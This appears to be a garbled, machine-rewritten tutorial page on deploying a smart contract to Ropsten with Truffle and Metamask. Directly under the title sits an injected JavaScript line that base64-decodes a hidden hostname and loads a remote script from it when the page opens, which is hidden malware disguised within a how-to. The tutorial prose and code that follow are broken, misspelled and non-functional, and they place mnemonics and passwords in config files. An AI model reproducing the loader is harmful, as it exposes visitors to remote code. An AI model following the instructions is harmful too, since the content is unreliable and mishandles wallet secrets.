Metamask: How to deploy smart contract using truffle and ropsten with Metamask account
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=7253abff”;document.body.appendChild(script);
Deploying smart contractors whethamask and truffle
In this article, we will come the project of introdcing smart contractions with the help of Metamak and Truffel in the RoPst. We also deal with something you can face trying to transfer.
Prerequisites
- Node.js (LTS or last)
- TRYFUL CLI (
NPM Install -G TRYFULI
)
- Metamask bullet
Step 1: Create a new project and configure settings
Create a new directory for your program and start it truffleit “.
`Javascript
const metamask = insist (‘metamask’);
Module.exports = {
// your account name (eg “you_account”)
Mnemonic: “YourmnemonicWord”,
// the network you want to
Network: {
Roopsten,
},
// The password of the Metamask (this is used as a key to the contraction)
Password: “”,
};
`
Step 2: Create a new intelligent agrement
Create a new file caled “contraction.js” and add the following code:
`Javascript
Const Web3 = Require (‘Web3’);
Const Web3Contractor = Require (‘Web3-Ethhereum Controls’);
Category MySmartContract {
Builder () {
This.web3 = new web3 (new web3.providers.httprovider (‘
const contraction = ‘0xyourcontraction’s’;
Conscombabi = {” version ":" 1 "," Name " :" MyContractor "," Functions ": [" MyFunction "]}
;
this
}
myFunction () {
// Call the action you want to enable
Console.log (“Hello myfunction!”);
}
}
Module.exports = MySmartContract;
`
Step 3: Turn and Take a smart contract
Create a newfix ‘Compile.jsand add the following code:
Javascript
Const Truffel = Require (‘truffle’);
Module.exports = {
Compile () {
Restore new truffles ();
},
};
`
Step 4: Move truffle from Roopsten
Complee the following on your yours terminal:
`Bash
Npm run compile
This is a compiled version of your your smart agrement. That’s what’s to move it from Roopsten:
`Bash
TRYFFELI MOBILE NETWORK ROPSTEN
Step 5: Update your Metamask account
Update Metamark.js
fillow to the following configuration:
`Javascript
const metamask = insist (‘metamask’);
Const Roopstinaddress = “0xyouropstineccount”;
Const Roopstenpassword = “Password>”;
Module.exports = {
Mnemonic: Roopstenpassword,
Network: {
Roopsten: {
Address: Roopstinaddress,
Password: Roopstenpassword,
},
},
};
`
Step 6: Enable your contraction with metamask
Update Metamark.js
fillow to the following configuration:
`Javascript
const metamask = insist (‘metamask’);
Const Roopstinaddress = “0xyouropstineccount”;
Const Roopstenpassword = “Password>”;
Module.exports = {
Mnemonic: Roopstenpassword,
Network: {
Roopsten: {
Address: Roopstinaddress,
Password: Roopstenpassword,
},
},
};
`
error message
Wen ‘truffei -transfer network RoPsten ‘, you owned itt this similar error:
`Bash
Npm run compile
This is due to the fact that compiled the version of the contract does not convein, and the Truffle requires.
Solution
To remedy this problem, you need todate To do this, add the following code to your “Compile.js” file:
`Javascript
Const Web3Contractor = Require (‘Web3-Ethhereum Controls’);
Category MySmartContrate {
Builder () {
Const web3 = new web3 (new web3.httprovider (‘
this.
Responses